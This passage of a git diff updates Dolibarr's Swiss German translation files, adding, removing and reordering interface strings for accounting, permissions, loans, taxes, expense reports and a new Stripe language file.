GeneralLedgerSomeRecordWasNotRecorded=Einige Transaktionen konnten leider nicht journalisiert werden.\nHat es eine Fehlermeldung gegeben? Wenn nicht, waren die betroffenen Transaktionen vermutlich bereits im Buch eingetragen. -ListOfProductsWithoutAccountingAccount=Produkte ohne Verknüpfung zu einem Buchhaltungskonto ChangeBinding=Verknüpfung ändern Accounted=Im Hauptbuch eingetragen ShowTutorial=Zeige die Anleitung @@ -224,6 +198,7 @@ NewAccountingJournal=Neues Buchhaltungssjournal AccountingJournalType1=Verschiedene Vorgänge AccountingJournalType2=Verkauf AccountingJournalType3=Einkauf +AccountingJournalType5=Spesenrapporte AccountingJournalType8=Inventar AccountingJournalType9=Hat neues ErrorAccountingJournalIsAlreadyUse=Dieses Journal wird schon verwendet. diff --git a/htdocs/langs/de_CH/admin.lang b/htdocs/langs/de_CH/admin.lang index b8e31734903..c02678ee290 100644 --- a/htdocs/langs/de_CH/admin.lang +++ b/htdocs/langs/de_CH/admin.lang @@ -85,6 +85,7 @@ Language_en_US_es_MX_etc=Sprache setzen (de_CH, en_GB,...) SystemToolsAreaDesc=Dieser Bereich ist voll mit Administratorfunktionen - Wähle im Menu aus. Purge=Säubern PurgeAreaDesc=Hier können Sie alle vom System erzeugten und gespeicherten Dateien löschen (temporäre Dateien oder alle Dateien im Verzeichnis %s). Diese Funktion ist richtet sich vorwiegend an Benutzer ohne Zugriff auf das Dateisystem des Webservers (z.B. Hostingpakete) +PurgeDeleteLogFile=Löschen der Protokolldateien, einschließlich %s, die für das Syslog-Modul definiert wurden (kein Risiko Daten zu verlieren) PurgeDeleteTemporaryFilesShort=Protokoll und temporäre Dateien löschen (kein Risiko von Datenverlust) PurgeDeleteAllFilesInDocumentsDir=Alle Dateien im Verzeichnis %s löschen.
      Dadurch werden alle generierten Dokumente gelöscht, die sich auf Elemente (Geschäftspartner, Rechnungen usw.), Dateien, die in das ECM-Modul hochgeladen wurden, Datenbank-Backup-Dumps und temporäre Dateien beziehen. PurgeNDirectoriesDeleted=%s Dateien oder Verzeichnisse gelöscht. @@ -216,6 +217,7 @@ ExamplesWithCurrentSetup=Beispiele mit der derzeitigen Systemkonfiguration ListOfDirectoriesForModelGenODT=Liste der Verzeichnisse mit Vorlagendateien mit OpenDocument-Format.

      Fügen Sie hier den vollständigen Pfad der Verzeichnisse ein.
      Trennen Sie jedes Verzeichnis mit einer Zeilenschaltung
      Verzeichnisse des ECM-Moduls fügen Sie z.B. so ein DOL_DATA_ROOT/ecm/yourdirectoryname.

      Dateien in diesen Verzeichnissen müssen mit .odt oder .ods enden. NumberOfModelFilesFound=Anzahl der .odt / .ods Vorlagen in diesen Verzeichnissen. DescWeather=Diese Piktogramme werden bei verspäteten Tasks gemäss folgenden Werten angezeigt. +KeyForWebServicesAccess=Schlüssel um Web Services (Parameter "dolibarrkey" in webservices) zu benützen ThisForceAlsoTheme=Dieser Menu Manager übersteuert die Benutzereinstellung. Er funktioniert nicht auf allen Smartphones. Wähle einen anderen, falls Probleme auftauchen. ConnectionTimeout=Zeitüberschreitung in der Verbindung ResponseTimeout=Antwort Timeout @@ -278,7 +280,6 @@ DependsOn=Dieses Modul benötigt die folgenden Module RequiredBy=Diese Modul wird durch folgende Module verwendet PageUrlForDefaultValues=Sie müssen den relativen Pfad der Seiten-URL eingeben. Wenn Sie Parameter in die URL einschließen, werden die Standardwerte wirksam, wenn alle Parameter auf denselben Wert eingestellt sind. EnableDefaultValues=Eigene Standartwerte erlauben. -EnableOverwriteTranslation=Eigene Übersetzungen erlauben WarningSettingSortOrder=Warnung: Änderungen an der Standardsortierreihenfolge können zu Fehlern führen, falls das betreffende Feld nicht vorhanden ist. Falls dies passiert, entfernen sie das betreffende Feld oder stellen die den Defaultwert wieder her. ProductDocumentTemplates=Dokumentvorlagen zur Erstellung von Produktdokumenten WatermarkOnDraftExpenseReports=Wasserzeichen auf Entwurf von Ausgabenbelegen @@ -343,6 +344,7 @@ Module2000Desc=Ermöglicht die Bearbeitung von Textfeldern mit dem CKEditor (htm Module2200Desc=Mathematische Ausdrücke für Preise aktivieren Module2300Name=Geplante Aufträge Module2300Desc=Geplante Aufgaben (CronJobs, ChronoTable) verwalten. +Module2400Name=Ereignisse/Termine Module2400Desc=Ereignisse verfolgen. Lassen Sie Dolibarr automatische Ereignisse zur Verfolgung protokollieren oder nehmen Sie manuelle Ereignisse oder Besprechungen auf. Dies ist das Hauptmodul für ein gutes Management von Kunden- oder Lieferanten-Beziehungen. Module2500Desc=Document - / Electronic Content Management System. Deine Dokumente werden automatisch organisiert. Du kannst deine Dateien teilen. Module2660Desc=Aktivieren Sie den Dolibarr Webservice-Client (Kann verwendet werden, um Daten/Anfragen an externe Server zu übertragen. Nur Lieferantenbestellungen werden derzeit unterstützt.) @@ -364,6 +366,7 @@ Module55000Desc=Modul zur Erstellung von Online-Umfragen, Umfragen oder Abstimmu Module62000Name=Lieferbedingungen Module62000Desc=Hinzufügen von Funktionen zur Verwaltung von Lieferbedingungen (Incoterms) Module63000Desc=Hier kannst du deine Ressourcen (Drucker, Räume, Fahrzeuge) Kalenderereignissen zuweisen. +Module94160Name=Lieferungen Permission26=Angebote schliessen Permission61=Leistungen ansehen Permission62=Leistungen erstellen/bearbeiten @@ -395,7 +398,7 @@ Permission215=Lieferanten einrichten Permission255=Andere Passwörter ändern Permission272=Rechnungen anzeigen Permission273=Ausgabe Rechnungen -Permission301=Barcodes erzeugen und ändern. +Permission304=Barcodes erzeugen und ändern. Permission331=Lesezeichen einsehen Permission430=PHP Debug Bar verwenden Permission519=Löhne exportieren @@ -407,6 +410,7 @@ Permission651=Rechnungen für Rohmaterialien erzeugen und bearbeiten Permission652=Rechnungen für Rohmaterialien löschen Permission701=Spenden einsehen Permission771=Spesenabrechnungen einsehen (eigene und die der Untergebenen) +Permission1001=Warenbestände einsehen Permission1002=Warenlager erstellen/ändern Permission1121=Partnerofferten einsehen Permission1122=Partnerofferten erzeugen und bearbeiten @@ -422,6 +426,7 @@ Permission1232=Lieferantenrechnungen erzeugen und bearbeiten Permission1236=Kundenrechnungen, -attribute und -zahlungen exportieren Permission1421=Kundenaufträge mit Attributen exportieren Permission2414=Aktionen und Aufgaben anderer exportieren +Permission2503=Dokumente bestätigen oder löschen Permission20003=Urlaubsanträge löschen Permission23001=anzeigen cronjobs Permission23002=erstellen/ändern cronjobs @@ -435,6 +440,7 @@ DictionaryCompanyJuridicalType=Rechtsformen von Unternehmen DictionaryActions=Arten von Kalenderereignissen DictionaryVAT=MwSt.-Sätze DictionaryPaperFormat=Papierformate +DictionaryAvailability=Lieferverzug DictionaryAccountancysystem=Kontenplan Modul DictionaryEMailTemplates=E-Mail Textvorlagen SetupSaved=Setup gespeichert @@ -560,6 +566,7 @@ DetailTitre=Menübezeichner oder Bezeichnungs-Code für Übersetzung DetailLangs=Sprachdateiname für Bezeichnungsübersetzung OptionVatMode=MwSt. fällig OptionVATDebitOption=Rückstellungsbasis +SupposedToBePaymentDate=Zahlungsdatum in Verwendung falls Lieferdatum unbekannt AgendaSetup=Aufgaben/Termine-Modul Einstellungen ClickToDialSetup=Click-to-Dial Moduleinstellungen CashDeskSetup=Modul Kasse (POS) einrichten @@ -627,13 +634,11 @@ NewEmailCollector=Neuer E-Mail - Sammeldienst EMailHost=IMAP Server Host EmailCollectorConfirmCollectTitle=E-Mail - Sammeldienst Bestätigung NoNewEmailToProcess=Ich habe keinen neuen E-Mails (die zu den Filtern passen) abzuarbeiten. -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. ResourceSetup=Modul Ressourcen einrichten UseSearchToSelectResource=Zeige eine Suchmaske für Ressourcen, statt eine Drop-down - Liste DisabledResourceLinkUser=Verknüpfungsmöglichkeit zwischen Ressource und Benutzer unterbinden. DisabledResourceLinkContact=Verknüpfungsmöglichkeit zwischen Ressource und Kontakt unterbinden. ConfirmUnactivation=Bestätige das Zurücksetzen des Moduls. ExportSetup=Modul Daten-Export einrichten -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      FeatureNotAvailableWithReceptionModule=Diese Funktion ist nicht verfügbar, wenn das Modul 'Lieferungen' aktiv ist DictionaryProductNature=Produktart diff --git a/htdocs/langs/de_CH/boxes.lang b/htdocs/langs/de_CH/boxes.lang index 7bd9754e4fe..a53b209ac52 100644 --- a/htdocs/langs/de_CH/boxes.lang +++ b/htdocs/langs/de_CH/boxes.lang @@ -7,10 +7,7 @@ BoxLastProductsInContract=%s zuletzt in Verträgen verwendete Produkte/Leistunge BoxOldestUnpaidCustomerBills=Älteste offene Kundenrechnungen BoxOldestUnpaidSupplierBills=Älteste offene Lieferantenrechnungen BoxLastProspects=Zuletzt bearbeitete Leads -BoxLastCustomers=Zuletzt bearbeitete Kunden -BoxLastSuppliers=Zuletzt bearbeitete Lieferanten BoxLastCustomerOrders=Neueste Kundenbestellungen -BoxLastActions=Neueste Aktionen BoxLastMembers=Neueste Mitglieder BoxFicheInter=Neueste Arbeitseinsätze BoxTitleMemberNextBirthdays=Mitglieder - Geburtstage dieses Monates @@ -30,8 +27,6 @@ BoxTitleLastActionsToDo=%s neueste Aktionen zu erledigen BoxGoodCustomers=Guter Kunde LastRefreshDate=Datum der letzten Aktualisierung NoRecordedBookmarks=Keine Lesezeichen gesetzt. Klicken Sie hier, um ein Lesezeichen zu setzen. -NoRecordedCustomers=Keine erfassten Kunden -NoRecordedContacts=Keine erfassten Kontakte NoRecordedInterventions=Keine verzeichneten Einsätze BoxLatestSupplierOrdersAwaitingReception=Die neuesten Bestellungen (nicht ausgeliefert) NoSupplierOrder=Keine erfassten Lieferantenbestellungen diff --git a/htdocs/langs/de_CH/companies.lang b/htdocs/langs/de_CH/companies.lang index 1869e91605d..074c9fb606a 100644 --- a/htdocs/langs/de_CH/companies.lang +++ b/htdocs/langs/de_CH/companies.lang @@ -14,7 +14,6 @@ ThirdPartyContact=Geschäftspartner-Kontakt Companies=Unternehmen CountryIsInEEC=EU - Staat PriceFormatInCurrentLanguage=Währungsanzeige dieser Sprache -ThirdPartyName=Name des Geschäftspartners ThirdPartyEmail=E-Mail des Geschäftspartners ThirdPartyProspectsStats=Interessenten Statistik ThirdPartyType=Typ des Geschäftspartners diff --git a/htdocs/langs/de_CH/compta.lang b/htdocs/langs/de_CH/compta.lang index bd6208b3b00..348e7d96723 100644 --- a/htdocs/langs/de_CH/compta.lang +++ b/htdocs/langs/de_CH/compta.lang @@ -1,29 +1,43 @@ # Dolibarr language file - Source file is en_US - compta OptionModeTrue=Option Eingang-Ausgang +OptionModeTrueDesc=Der Umsatz wird über die Zahlungen (Datum der Zahlungen) berechnet. \nDie Aussagekraft der Zahlen ist nur gewährleistet, wenn die Pflege der Konten (Ein-/Ausgang) nachhaltig korrekt ist. +OptionModeVirtualDesc=In dieser Option berechnet sich der Umsatz über Zahlungen (Zahlungsdatum).
      Die Gültigkeit der Zahlen ist nur bei Überprüfung der Zu- und Abgänge auf den Konten über Rechnungen gewährleistet. FeatureIsSupportedInInOutModeOnly=Dieses Feautre ist nur in der Soll-Haben-Option verfügbar (siehe Konfiguration des Rechnungswesen-Moduls) +MenuReportInOut=Ergebnis / Geschäftsjahr PaymentsNotLinkedToInvoice=Zahlungen mit keiner Rechnung und damit auch mit keinem Geschäftspartner verbunden Balance=Bilanz LT2SummaryES=EKSt. Übersicht VATCollected=Erhobene MwSt. +SocialContribution=Sozialabgabe oder Steuersatz +SocialContributions=Steuern- oder Sozialabgaben SocialContributionsDeductibles=Abzugsberechtigte Sozialabgaben/Steuern SocialContributionsNondeductibles=Nicht abzugsberechtigte Sozialabgaben/Steuern MenuTaxAndDividends=Steuern und Dividenden +MenuSocialContributions=Sozialabgaben/Steuern +ContributionsToPay=Sozialabgaben/Unternehmenssteuern zu bezahlen +PaymentSocialContribution=Sozialabgaben-/Steuer Zahlung PaymentVat=MwSt.-Zahlung VATPayment=MwSt.-Zahlung VATPayments=MwSt-Zahlungen +SocialContributionsPayments=Sozialabgaben-/Steuer Zahlungen ShowVatPayment=Zeige MwSt. Zahlung CustomerAccountancyCodeShort=Buchh.-Konto Kunde SupplierAccountancyCodeShort=Buchh.-Konto Lieferant ByThirdParties=Durch Geschäftspartner +ByUserAuthorOfInvoice=Durch Rechnungsersteller +CheckReceipt=Scheck erhalten +CheckReceiptShort=Scheck erhalten LastCheckReceiptShort=Letzte %s Scheckeinnahmen NoWaitingChecks=Keine Schecks warten auf Einlösung. +DeleteSocialContribution=Lösche Sozialabgaben-, oder Steuerzahlung CalcModeVATDebt=Modus %s Mwst. auf Engagement Rechnungslegung %s. CalcModeLT2Rec=Modus %sIRPF aufLieferantenrechnungen%s +RulesAmountWithTaxIncluded=- Angezeigte Beträge enthalten alle Steuern LT2ReportByCustomersES=Bericht von Geschäftspartner EKSt. VATReportByCustomersInInputOutputMode=Bericht zur vereinnahmten und bezahlten MwSt. nach Kunden -ThirdPartyMustBeEditAsCustomer=Geschäftspartner muss als Kunde definiert werden Pcg_type=PCG Typ Pcg_subtype=PCG Subtyp InvoiceLinesToDispatch=versandbereite Rechnungszeilen CalculationRuleDesc=Zur Berechnung der Gesamt-MwSt. gibt es zwei Methoden:
      Methode 1 rundet die Steuer in jeder Zeile und addiert zum Schluss.
      Methode 2 summiert alle Steuer-Zeilen und rundet am Ende.
      Das endgültige Ergebnis kann sich in wenigen Cent unterscheiden. Standardmodus ist Modus %s. LinkedFichinter=Mit einem Eingriff verknüpfen +ImportDataset_tax_contrib=Sozialabgaben/Steuern diff --git a/htdocs/langs/de_CH/ecm.lang b/htdocs/langs/de_CH/ecm.lang index 57cb0298e43..814cee2c845 100644 --- a/htdocs/langs/de_CH/ecm.lang +++ b/htdocs/langs/de_CH/ecm.lang @@ -6,7 +6,6 @@ ECMAddSection=Ordner hinzufügen ECMNbOfFilesInDir=Anzahl der Dateien in Ordner ECMNbOfSubDir=Anzahl der Unterordner ECMNbOfFilesInSubDir=Anzahl Dateien in Unterordnern -ECMAreaDesc2=* In den automatischen Verzeichnissen werden die vom System erzeugeten Dokumente abgelegt.
      * Die manuellen Verzeichnisse können Sie selbst verwalten und zusätzliche nicht direkt zuordenbare Dokument hinterlegen. ECMSectionWasRemoved=Der Ordner %s wurde gelöscht. ECMSearchByKeywords=Suche nach Stichwörter ECMSearchByEntity=Suche nach Objekt diff --git a/htdocs/langs/de_CH/loan.lang b/htdocs/langs/de_CH/loan.lang index b190d16d150..bf440b29d71 100644 --- a/htdocs/langs/de_CH/loan.lang +++ b/htdocs/langs/de_CH/loan.lang @@ -1,11 +1,26 @@ # Dolibarr language file - Source file is en_US - loan +Loan=Kredit +Loans=Kredite +NewLoan=Neuer Kredit +ShowLoan=Zeige Kredit +PaymentLoan=Kreditauszahlung +LoanPayment=Kreditauszahlung ShowLoanPayment=Zeige Kreidtauszahlung +LoanCapital=Kapital +Interest=Zins +Nbterms=Anzahl der Bedingungen +Term=Laufzeit +LoanAccountancyCapitalCode=Buchhaltungskonto Kapital LoanAccountancyInsuranceCode=Buchhaltungskonto Kreditversicherung LoanAccountancyInterestCode=Buchhaltungskonto Kreditzins +ConfirmDeleteLoan=Bestätigen Sie das Löschen dieses Kredites +LoanDeleted=Kredit erfolgreich gelöscht +ConfirmPayLoan=Bestätigen Sie das Löschen dieses Kredites +LoanPaid=Kredit bezahlt ListLoanAssociatedProject=Kredite für dieses Projekt AddLoan=Erzeuge Kredit +FinancialCommitment=Finanzielle Verpflichtung +InterestAmount=Zins CapitalRemain=Restkapital -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Standard - Buchhaltungskonto Kapital -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Standard - Buchhaltungskonto Zins -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Standard - Buchhaltungskonto Kreditversicherung +ConfigLoan=Konfiguration des Modul Kredite CreateCalcSchedule=Finanzielle Verpflichtung anpassen. diff --git a/htdocs/langs/de_CH/main.lang b/htdocs/langs/de_CH/main.lang index 2d6cc56c9dd..cf46e719d05 100644 --- a/htdocs/langs/de_CH/main.lang +++ b/htdocs/langs/de_CH/main.lang @@ -83,15 +83,20 @@ Close=Schliessen CloseBox=Box vom Startbildschirm entfernen ConfirmSendCardByMail=Willst du diese Karte wirklich an %s mailen? Resiliate=Abschliessen +Validate=Bestätigen ValidateAndApprove=Freigeben und bestätigen NotValidated=Nicht validiert SaveAndStay=Speichern Hide=Verbergen Valid=Freigabe Upload=Hochladen +Select=Wählen Sie ResizeOrCrop=Skalieren oder Beschneiden +Recenter=Zentrieren NewObject=Erzeuge %s Title=Titel +RefOrLabel=Nr. oder Bezeichnung +Family=Familie DateOfLine=Datum DurationOfLine=Dauer Model=Dokumentenvorlage @@ -100,10 +105,15 @@ Connection=Anmeldung Alert=Warnung Card=Karte DateToday=Aktuelles Datum +DateCreation=Erstellungsdatum +DateModification=Änderungsdatum DateModificationShort=Änd.Datum DateLastModification=Zuletzt geändert am +DateValidation=Freigabedatum DateClosing=Schliessungsdatum DateOperationShort=Ausf.Datum +DateRequest=Anfragedatum +DatePayment=Zahlungsziel RegistrationDate=Benutzer registriert am UserCreation=Benutzer erzeugt am UserModification=Zuletzt bearbeitet am @@ -118,6 +128,8 @@ MinuteShort=min DefaultValues=Standardwerte PriceCurrency=Währung UnitPriceHTCurrency=Nettopreis +PriceU=VP +PriceUHT=VP (netto) PriceUTTC=E.P. (inkl. Steuern) AmountInvoiced=Verrechneter Betrag AmountHT=Betrag (exkl. MWST) @@ -157,12 +169,11 @@ DefaultTaxRate=Standard Steuersatz RemainToPay=Offener Betrag Module=Modul / Applikation Modules=Module / Applikationen +Ref=Nummer RefSupplier=Lieferantennummer RefPayment=Zahlungs-Nr. ActionsToDo=Aktionen zur Erledigung -ActionsToDoShort=Zu erledigen ActionRunningNotStarted=Nicht begonnen -ActionRunningShort=In Bearbeitung LatestLinkedEvents=Die neuesten %s verknüpften Vorgänge CompanyFoundation=Firma / Organisation ContactsForCompany=Ansprechpartner/Adressen dieses Geschäftspartners @@ -172,8 +183,7 @@ ActionsOnContact=Ereignisse zu diesem Kontakt ActionsOnContract=Ereignisse zu diesem Vertrag ActionsOnMember=Aktionen zu diesem Mitglied ActionsOnProduct=Vorgänge zu diesem Produkt -ToDo=Zu erledigen -Running=In Bearbeitung +RequestAlreadyDone=Anfrage bereits bekannt Generate=Erstelle DolibarrStateBoard=Datenbankstatistiken DolibarrWorkBoard=Offene Aktionen @@ -181,7 +191,10 @@ NoOpenedElementToProcess=Keine offenen Aktionen Categories=Suchwörter/Kategorien Category=Stichwort / Kategorie FromLocation=Von +ToDate=An OtherInformations=Weitere Informationen +ApprovedBy=genehmigt von +Approved=genehmigt Refused=zurückgewiesen ResultKo=Fehlschlag OpenAll=Offen (alle Typen) @@ -197,6 +210,7 @@ NoItemLate=Es gibt keine verspätete Artikel LoginEmail=Benutzer Email - Adresse LoginOrEmail=Benutzername oder Email - Adresse EnterLoginDetail=Gib die Zugangsdaten ein +AttachedFiles=Angehängte Dateien und Dokumente JoinMainDoc=Führe das Hauptdokument zusammen. Keyword=Stichwort Origin=Herkunft @@ -210,6 +224,7 @@ UndoExpandAll=Ausklappen rückgängig machen SeeAll=Zeige alles an CloseWindow=Fenster schliessen Priority=Wichtigkeit +MailSentBy=E-Mail Absender NotSent=Nicht gesendet SendAcknowledgementByMail=Bestätigungsemail senden SendMail=sende E-Mail @@ -222,6 +237,7 @@ RecordsModified=Geänderte Einträge: %s RecordsDeleted=Gelöschte Einträge: %s RecordsGenerated=Erzeugte Einträge: %s MoveBox=Box verschieben +Offered=angeboten CompleteOrNoMoreReceptionExpected=Vollständig oder keine Aktionen mehr erwartet YouCanChangeValuesForThisListFromDictionarySetup=Du kannst die Werte für diese Liste in Einstellungen -> Stammdaten anpassen. YouCanChangeValuesForThisListFrom=Du kannst die Werte für diese Liste im Menu %s einstellen. @@ -231,8 +247,10 @@ Screen=Bildschirm Signature=E-Mail-Signatur DateOfSignature=Unterschriftsdatum RootOfMedias=Stammverzeichnis für öffentliche Bilder (/medias) +Notes=Hinweise FreeLineOfType=Freitext vom Typ ReGeneratePDF=PDF erneut erzeugen +Merge=Verbinden DocumentModelStandardPDF=Standardvorlage (PDF) WarningYouAreInMaintenanceMode=Obacht, wir sind im Wartungsmodus. Nur der Benutzer "%s" kann Dolibarr im Moment nutzen. CoreErrorMessage=Hoppla, es ist ein Fehler aufgetreten. Dein Administrator kann mehr herausfinden, indem er die Logdateien durchgeht (oder in der Systemkonfiguration $dolibarr_main_prod auf '0' setzen) @@ -261,10 +279,12 @@ MyDashboard=Mein Dashboard SelectTargetUser=Wähle den Benutzer / Mitarbeiter SaveUploadedFileWithMask=Datei auf dem Server speichern mit dem Namen "%s" (oder "%s") OriginFileName=Original Dateiname +ViewPrivateNote=Zeige Hinweise ShowMoreLines=Mehr oder weniger Positionen anzeigen ShowTransaction=Zeige die Transaktion auf dem zugehörigen Bankkonto. ShowIntervention=Zeige Kundeneinsatz GoIntoSetupToChangeLogo=Gehen Sie zu "Start - Einstellungen - Firma / Organisation" um das Logo zu ändern. Gehen Sie zu "Start -> Einstellungen -> Anzeige" um es zu verstecken. +Denied=abgelehnt ListOf=Liste der %s GoodBye=Auf Wiedersehen! Sincerely=Mit freundlichen Grüssen @@ -285,8 +305,6 @@ BackOffice=Dolibarr ExportFilteredList=Exportiere gefilterte Positionen ExportList=Exportiere Positionen IncludeDocsAlreadyExported=Beziehe bereits exportierte Dokumente mit ein -ExportOfPiecesAlreadyExportedIsEnable=Bereits exportierte Dateien erneut exportieren ist "Ein". -ExportOfPiecesAlreadyExportedIsDisable=Bereits exportierte Dateien erneut exportieren ist "Aus". AllExportedMovementsWereRecordedAsExported=Alles erfolgreich exportiert:-) NotAllExportedMovementsCouldBeRecordedAsExported=Nicht alles konnte korrekt exportiert werden:-( Calendar=Kalender @@ -321,6 +339,7 @@ SelectMailModel=Wähle deine Email - Vorlage Select2ResultFoundUseArrows=Ich habe mehrere Resultate gefunden - wähle mit den Pfeiltasten aus. Select2Enter=Eingabe Select2MoreCharactersMore=Suchsyntax:
      | OR (a|b)
      * Alle Zeichen (a*b)
      ^ Beginnt mit (^ab)
      $ Endet mit (ab$)
      +SearchIntoProductsOrServices=Produkte oder Dienstleistungen SearchIntoCustomerOrders=Kundenbestellungen SearchIntoInterventions=Arbeitseinsätze SearchIntoExpenseReports=Spesenrapporte @@ -329,6 +348,7 @@ SearchIntoVendorPayments=Lieferantenzahlungen NbComments=Anzahl Kommentare CommentPage=Kommentare CommentDeleted=Kommentar entfernt +PayedBy=Einbezahlt von PayedTo=Bezahlt an Quarterly=Vierteljährlich Remote=Entfernt @@ -359,3 +379,9 @@ CustomReports=Eigene Berichte StatisticsOn=Statistiken zu SelectYourGraphOptionsFirst=Wähle den Diagrammtyp Measures=Masseinheiten +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +Terminate=Abschliessen diff --git a/htdocs/langs/de_CH/orders.lang b/htdocs/langs/de_CH/orders.lang index 881a8dc7a7f..c858a5d7731 100644 --- a/htdocs/langs/de_CH/orders.lang +++ b/htdocs/langs/de_CH/orders.lang @@ -59,9 +59,7 @@ SetShippingMode=Versandart wählen WithReceptionFinished=Mit abgeschlossener Lieferung StatusSupplierOrderCanceledShort=widerrufen StatusSupplierOrderValidatedShort=Bestätigt -StatusSupplierOrderApprovedShort=Genehmigt StatusSupplierOrderReceivedAllShort=Erhaltene Produkte StatusSupplierOrderCanceled=widerrufen StatusSupplierOrderDraft=Entwürfe (benötigen Bestätigung) StatusSupplierOrderValidated=Bestätigt -StatusSupplierOrderApproved=Genehmigt diff --git a/htdocs/langs/de_CH/propal.lang b/htdocs/langs/de_CH/propal.lang index 3c0a519948a..7db0ec23cb2 100644 --- a/htdocs/langs/de_CH/propal.lang +++ b/htdocs/langs/de_CH/propal.lang @@ -1,7 +1,5 @@ # Dolibarr language file - Source file is en_US - propal -ProposalsOpened=Offene Angebote ProposalCard=Angebotskarte -NewPropal=Neues Angebot Prospect=Lead LastPropals=%s neueste Angebote LastModifiedProposals=%s neueste geänderte Offerten @@ -14,10 +12,11 @@ PropalStatusNotSignedShort=Nicht unterzeichnet PropalsToClose=Zu schliessende Angebote ListOfProposals=Liste der Angebote ActionsOnPropal=Ereignisse zum Angebot +AddToDraftProposals=Zu Angebots-Entwurf hinzufügen DefaultProposalDurationValidity=Standardmässige Gültigkeitsdatuer (Tage) AvailabilityPeriod=Verfügbarkeitszeitraum SetAvailability=Verfügbarkeitszeitraum definieren OtherProposals=Andere Angebote -DefaultModelPropalToBill=Standard-Template, wenn Sie ein Angebot schliessen wollen (zur Verrechung) DefaultModelPropalClosed=Standard-Template, wenn sie ein Angebot schliessen wollen (ohne Rechnung) +DefaultModelPropalToBill=Standard-Template, wenn Sie ein Angebot schliessen wollen (zur Verrechung) ProposalCustomerSignature=Schriftliche Annahme, Firmenstempel, Datum und Unterschrift diff --git a/htdocs/langs/de_CH/salaries.lang b/htdocs/langs/de_CH/salaries.lang index 7d3f9fa423a..d661528186f 100644 --- a/htdocs/langs/de_CH/salaries.lang +++ b/htdocs/langs/de_CH/salaries.lang @@ -1,6 +1,4 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Buchhaltungskonto für Partner Benutzer -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Das Buchhaltungskonto auf der Benutzerkarte wird nur im Nebenbuch journalisiert. Dieser Eintrag wird im Hauptbuch Geführt. Weiter ist das auch das Standardkonto, falls auf der Benutzerkarte kein Konto eingetragen ist. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Standard - Buchhaltungskonto für Lohnzahlungen Salary=Lohn Salaries=Löhne diff --git a/htdocs/langs/de_CH/stripe.lang b/htdocs/langs/de_CH/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/de_CH/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/de_CH/ticket.lang b/htdocs/langs/de_CH/ticket.lang index af534077747..953bd7d53ce 100644 --- a/htdocs/langs/de_CH/ticket.lang +++ b/htdocs/langs/de_CH/ticket.lang @@ -1,6 +1,5 @@ # Dolibarr language file - Source file is en_US - ticket TypeContact_ticket_external_SUPPORTCLI=Kundenkontakt / Störfallverfolgung Read=Lesen -InProgress=In Bearbeitung TicketCloseOn=Schliessungsdatum TicketAddIntervention=Einsatz erstellen diff --git a/htdocs/langs/de_CH/trips.lang b/htdocs/langs/de_CH/trips.lang index 33e5c61c47d..1c87101d592 100644 --- a/htdocs/langs/de_CH/trips.lang +++ b/htdocs/langs/de_CH/trips.lang @@ -1,19 +1,19 @@ # Dolibarr language file - Source file is en_US - trips -ShowExpenseReport=Spesenreport anzeigen -TripsAndExpenses=Reise- und Fahrtspesen -TripCard=Reisekosten Karte -AddTrip=Reisekostenabrechnung erstellen -ListOfTrips=Liste Reise- und Spesenabrechnungen -TypeFees=Spesen- und Kostenarten -ShowTrip=Spesenreport anzeigen -NewTrip=neue Reisekostenabrechnung -ListTripsAndExpenses=Liste Reise- und Spesenabrechnungen -ExpenseReportWaitingForApproval=Eine neue Reisekostenabrechnung ist zur Genehmigung vorgelegt worden -TripSociete=Information Firma -TF_TRIP=Spedition -ErrorDoubleDeclaration=Sie haben bereits eine andere Spesenabrechnung in einem ähnliche Datumsbereich erstellt. -VALIDATOR=verantwortlicher Benutzer für Genehmigung AUTHOR=gespeichert von +AddTrip=Reisekostenabrechnung erstellen BrouillonnerTrip=Spesenabrechnung rückgängig, auf den Status "Entwurf" -ExpenseReportsToPay=Spesenabrechnungen zu entrichten +ErrorDoubleDeclaration=Sie haben bereits eine andere Spesenabrechnung in einem ähnliche Datumsbereich erstellt. ExpenseReportDateStart=Beginndatum +ExpenseReportWaitingForApproval=Eine neue Reisekostenabrechnung ist zur Genehmigung vorgelegt worden +ExpenseReportsToPay=Spesenabrechnungen zu entrichten +ListOfTrips=Liste Reise- und Spesenabrechnungen +ListTripsAndExpenses=Liste Reise- und Spesenabrechnungen +NewTrip=neue Reisekostenabrechnung +ShowExpenseReport=Spesenreport anzeigen +ShowTrip=Spesenreport anzeigen +TripCard=Reisekosten Karte +TripSociete=Information Firma +TripsAndExpenses=Reise- und Fahrtspesen +TypeFees=Spesen- und Kostenarten +VALIDATOR=verantwortlicher Benutzer für Genehmigung +TF_TRIP=Spedition diff --git a/htdocs/langs/de_CH/users.lang b/htdocs/langs/de_CH/users.lang index 9f20d097abd..c7c14ca597b 100644 --- a/htdocs/langs/de_CH/users.lang 